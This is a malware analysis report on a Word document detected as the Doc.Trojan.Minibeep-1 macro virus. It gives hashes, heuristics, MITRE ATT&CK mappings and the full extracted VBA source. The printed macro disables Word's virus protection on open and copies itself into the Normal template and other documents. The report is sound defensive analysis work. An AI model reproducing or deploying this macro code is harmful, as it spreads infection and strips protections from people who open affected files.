Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5bd9429dc0b322cd…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-07-02 09:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: abdd348c9a05eee624f207d4d79b32f1 SHA-1: bda6752de26c5c256f78245ce38e1da3f154487d SHA-256: 5bd9429dc0b322cdbc3c9fedfff242b7c1f95a41c394342d608a1746add95579
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code when a document is opened. The macro attempts to copy itself to the Normal template and the active document, indicating an attempt to establish persistence or spread. The ClamAV detection as 'Doc.Trojan.Minibeep-1' further confirms its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Minibeep-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minibeep-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 982 bytes
SHA-256: 675f9bcf9d6b67c44f0c57e9bc22df1aa75881a3c8470d8ea3f067b10f39b7fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Options.VirusProtection = (Rnd * 0): Beep
If ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines <> NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines Then NormalTemplate.VBProject.VBComponents(1).CodeModule.AddFromString ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 5)
If ThisDocument.VBProject.VBComponents(1).CodeModule.CountOfLines <> ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines Then ActiveDocument.VBProject.VBComponents(1).CodeModule.AddFromString ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 5)
End Sub

'Coded by jack twoflower [LineZer0 / Metaphase]
'Contribute to the LineZer0 Macro Contest ;)
'Do not distribute